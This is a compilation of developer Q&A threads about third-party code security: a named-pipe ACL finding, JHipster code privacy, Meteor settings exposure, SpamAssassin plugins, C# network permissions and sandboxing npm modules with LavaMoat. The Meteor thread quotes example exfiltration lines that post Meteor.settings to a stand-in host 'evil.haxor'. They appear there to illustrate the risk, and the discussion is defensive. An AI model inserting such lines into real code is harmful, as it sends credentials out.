I have generated attack-surface-analysis-report. and got one security issue related Vulnerable Named Pipes. and decription was "The ACL on pipe SafeNet-SentinelPIPE-3420-5088 allows tampering by multiple non-administrator accounts."
I have checked in my code for named pipes. I doesn't used any named pipes in my application still i'm getting this security issue on attach surface analyzer report.
I have checkedin services and windows, whether I'm using any named pipes-Safenet or SentinelPipe.
When you get security issue like "Vulnerable Named Pipes".
First check in code you're using any named pipes, if yes add access perssions to that
If not, check in control panel for safenet or Sentinel.
Uninstall the Sentinel from programs and run again attack-surface-analysis.
This time you dont see any security issues related sentinel.
Related
Hello folks i am newbie i wanted to know suppose i am creating a web application using JHipster. Will my code available to everyone?.
I mean will the code be submitted to open source community?
The generated code belongs to you, it's not shared.
Now, if you're afraid of your code leaking out because you're working in a highly secured domain (e.g. Finance), it's another story.
The generator is open source so you can audit what it does.
But it would be simpler to configure your firewall so that it blocks outgoing traffic while still allowing incoming traffic. Generator should require only getting artifacts from public repositories (npm, maven) during generation phase.
It's like using a compiler, how do you know that it does not upload your source code somewhere? Either you audit the compiler code or you protect yourself with a firewall specifically configured each time you use it.
Finally, you should evaluate the risk of leaking generated code which has usually little value in comparison with the code that you manual add which is where business value is.
I've tested, and the two things are allowed in 3rd party pacakges:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
I want to be able to protect my settings from 3rd parties.
Scenario:
I have sensitive data in my Meteor.settings file, especially in production, because that is the current best-practice place to put them.
I use a 3rd party meteor package such as iron:router, but possibly one by a lesser known author.
One of the 3rd party packages looks up my Meteor.settings and does an HTTP post on which some of my settings are sent along.
HTTP.post('http://evil.haxor', Meteor.settings) # all ur settings
Boom. Instantly I've leaked my production credentials, my payment gateway, Amazon, or whatever. Worse, as far as I know, the code that steals my settings might be loaded in and eval'd so I don't even see the string "Meteor.settings" in the source of the package.
I've tested, and the two things are allowed in 3rd party pacakges:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
I'm amenable to hacky solutions. I know the Meteor team might not address this right away, given all on their plates (Windows support, a non-Mongo DB).. I just want to be able to provide this level of security to my company, for whom I think it would concern their auditors to discover this level of openness. Otherwise I fear I'm stuck manually security auditing every package I use.
Thank you for your consideration!
Edit: I see now that the risk of a package seeing/stealing the settings is essentially the same problem as any package reading (or writing) your filesystem. And the best way to address that would be to encrypt. That's a valid proposal, which I can use immediately. However, I think there could, and should be notions of 'package-scoped' settings. Also, the dialogue with commenters made me realize that the other issue, the issue of settings being (easily) modifiable at runtime, could be addressed via making the settings object read-only, using ES5 properties.
A malicious npm package can come with native code extensions, access the filesystem directly, and in general do anything the rest of the code in the app can do.
I see 2 (partial) solutions:
set up a firewall with outbound rules and logging. Unfortunately if your application communicates with any sort of social network (facebook, twitter) then the firewall idea will not handle malware that uses twitter as a way to transmit data. But maybe it would help?
lock down the DNS resolution, provide a whitelist of DNS lookups. This way you could spot if the app starts trying to communicate with 'evil.haxor'
There are other more advanced detectors - but at some point a hacker is going to go after the other services running on the box and not try for modifying your code.
Good luck. And its good to be paranoid -- because they really are out to get you.
I've been reading on SpamAssassin for some time now and learned a lot but I cannot seem to figure out a way I cannot find a way to create a rule where a 3rd party script can be executed to for a custom rule.
THis would have to be something user based not globally.
I want to run additional verifications on domains and email addresses.
I wish to build a reputation system in which if a domain or email address are checked against the contacts list and other things.
I have have considered modifying the profile to add regex rules but that seems like a way to complicated way of doing it. A more preferred scenario would be to simply run a 3rd party script that returns the score for each domain and email address.
Out of the box, SpamAssassin has no such facility, but since you ask on a programming site, I assume you are not alien to writing some code on your own.
The plugin facility in SpamAssassin was designed for this sort of thing. You can create a piece of Perl code which gets called for each message which SpamAssassin analyzes, and you have access to everything Perl has access to.
In particular, look at the pyzor plugin which calls an external program and returns its analysis results to SpamAssassin. There's a fair amount of boilerplate there, but the part you need to start with is getting the right arguments to the helper_app_pipe_open call (on line 282 as of version 3.4.0, which is what I link to above). These things are configurable so you could perhaps even just reconfigure the path to pyzor to your own program as a proof of concept. Note that it needs to accept a check argument and some other parameters, and a message from a temporary file on its standard input.
Mail::SpamAssassin::Plugin.pm contains POD documentation for the plugin API. Other files in the module tree contain useful documentation too; in particular, you might want to refer to the general documentation in Mail::SpamAssassin.pm and Mail::SpamAssassin::Conf.pm to understand the configuration parameters you can pass to your plugin.
Out of the box, there is a new TxRep plugin that automatically recognizes senders you've seen recently. There is also a collection of whitelist and blacklist options.
If you wanted to implement something yourself, I think you'll quickly find that an exec mechanism won't scale well. Perhaps try crafting your own DNSBL instead. This can be done with custom code and any DNS server (e.g. bind, dnsmasq, etc) or with a DNS server designed for this purpose, such as RBLDNSD. The SA wiki on DnsBlocklists has directions for how to hook it into SA.
Usually, people seeking this kind of solution don't have DNSBLs configured properly. I'd take a look into that before trying to build your own project.
I have a C# application in source code and I am removing the code which accesses the network (intranet and internet).
Just to be really sure that it won't access the network at all, my idea was to remove the security permission for network access. This is done in app.manifest with a I think, but due to lack of code completion, I don't find the necessary clue.
What XML do I have to add to app.manifest in order to prevent my C# application from using any network functionality?
It should still be able to access the local file system.
The App.manifest contains several entries.
internetClient
internetClientServer
privateNetworkClientServer
You can find a lot of details here, but essentially need to remove these entries and your app will not have networking permissions anymore.
http://msdn.microsoft.com/en-us/library/windows/apps/hh770532.aspx
I'm using Node.js to create the web service. In the implementation, I consumed many third party modules which are installed via npm. There is security issue if there is malicious *.js scripts in the consumed modules. For example, the malicious code may delete all my disk files, or collect the secret data in silence.
I have a couple of questions regarding this.
How to detect if there is security issue in the module?
What should I do to prevent malicious *.js scripts from executing in Node.js?
I'm very appreciate if you can share any experience to build the node.js service.
Thanks,
Jeffrey
One concern you did not raise is that a module might try to make a direct connection to your database itself, or to other services on your internal network. This might be prevented by setting passwords which the module cannot find so easily.
1. Restricting disk access
This project was presented at NodeConf last year. It attempts to restrict filesystem access in precisely the situation you describe.
https://github.com/yahoo/fs-lock
"The goal for this module is to help when you are loading 3rd party modules and you need to restrict their access."
It sounds rather like the proposal Jeffrey made in the comments in Plato's answer.
(If you want to look further into hooking OS calls, this hookit project may present a few ideas. Although in its current form it only wraps the callback function, it might provide inspiration of what to hook, and how. Here is an example of it being used.)
2. Analyse flow of sensitive data
If you are only worried about data-stealing (not filesystem or database access), then you can focus your concerns:
You should be most concerned about those packages which are being passed sensitive data. Presumably some of the data on your web-service is presented to the public anyway!
Most packages will not have access to the full stack of your application, only the bits of data you pass them. If a package is only being passed a small amount of sensitive data, and never passed the rest of the data, it may not be able to do anything malicious with the data it receives. (For example, if you pass all your usernames to one package for processing and all your addresses to a different package, that is a much smaller concern than if you pass all your usernames, addresses and credit-card numbers to the same package!)
Identify the sensitive data in your app, and note which functions in which modules they are passed to.
3. Perform efficient code review
You may not need to go to Github to read the code. The great majority of packages provide all their source-code in their install folder inside node_modules. (There are a few packages which provide binaries however; these are naturally harder to verify.)
If you do want to check the code yourself, there may ways to reduce the amount of work involved:
To secure your own app, you do not need to read the entire source code of all packages in your project. You only need to review those functions which are actually called.
You may trace the code by reading it, or with the aid of a text-based debugger, or a GUI debugger. (Of course you should look out for branching, where different inputs may cause different parts of the module to be called.)
Set breakpoints when you call into a module which you don't trust, so you can step through the code that is called and see what it does. You may be able to conclude that only a small part of the module is used, so only that code needs to be verified.
Whilst tracing flow should cover concerns about sensitive data at runtime, to check for file access or database access, we should also look at the initialisation code of each module which is required, and all calls (including requires) which are made from there.
4. Other measures
It might be wise to lock the version number of each package in package.json so that you don't accidentally install a new version of a package until you decide that you need to.
You may use social factors to build confidence in a package. Check the respectability of the author. Who is he, and who does he work for? Do the author and his employers have a reputation to uphold? Similarly, who uses his project? If the package is very popular, and used by industry giants, it is likely that others have already reviewed the code.
You may wish to visit github and enable notifications for all the top-level modules you are using, by "watching" the repository. This will inform you if any vulnerabilities are reported in the package in future.
Most (all?) modules have source code available on Github, you can read through the source and look for security problems, or hire a security professional to do the job.
I just take the risk - although I tend to use popular packages with hundreds of commits, active maintenence, and issue lists.
If your project dependency tree is large enough, reviewing all of your dependencies is not a feasible long-term strategy.
The original answer from Joey has some good countermeasures you can use for specific scenarios. I've also seen https://github.com/berstend/node-safe - could make you slightly safer on mac.
A general solution to the problem is taking shape though.
How to protect a project from malicious packages
make sure you don't run lifecycle (postinstall) scripts unless they're known and necessary (see my talk on this topic)
put 3rdparty code in a compartment, lock down the environment, decide on which powerful APIs to pass to each package.
The second step requires the use of Compartment, which is a work-in-progress in TC39 https://github.com/tc39/proposal-compartments/
But a shim exists. And Some tooling was built on top of that shim.
You could use the SES-shim directly and implement your own controls, or use the convenience of LavaMoat
LavaMoat lets you generate and tweak a per-package policy where you can decide which globals and builtins it should have access to.
LavaMoat also offers a tool to manage install scripts.
Here's my talk on SES and LavaMoat with a demo at the end.
How to set up LavaMoat
See LavaMoat docs for more details
disable/allow dependency lifecycle scripts (eg. "postinstall") via #lavamoat/allow-scripts
npm i --ignore-scripts -D #lavamoat/allow-scripts
npx --no-install allow-scripts setup
npx --no-install allow-scripts auto
then, edit the allow-list in package.json
after every insstall/reinstall run allow-scripts
run your server or build process in lavamoat-node
npm i -D lavamoat
in your package.json add something like:
"scripts": {
"lavamoat-policy": "lavamoat app.js --autopolicy",
"start": "lavamoat app.js"
run lavamoat-policy every time you make changes to your dependency tree and review the policy (see also: policy override)
run npm start to start your app
Disclaimer: I contribute to LavaMoat and Endo. They are Open Source projects on permissive licenses.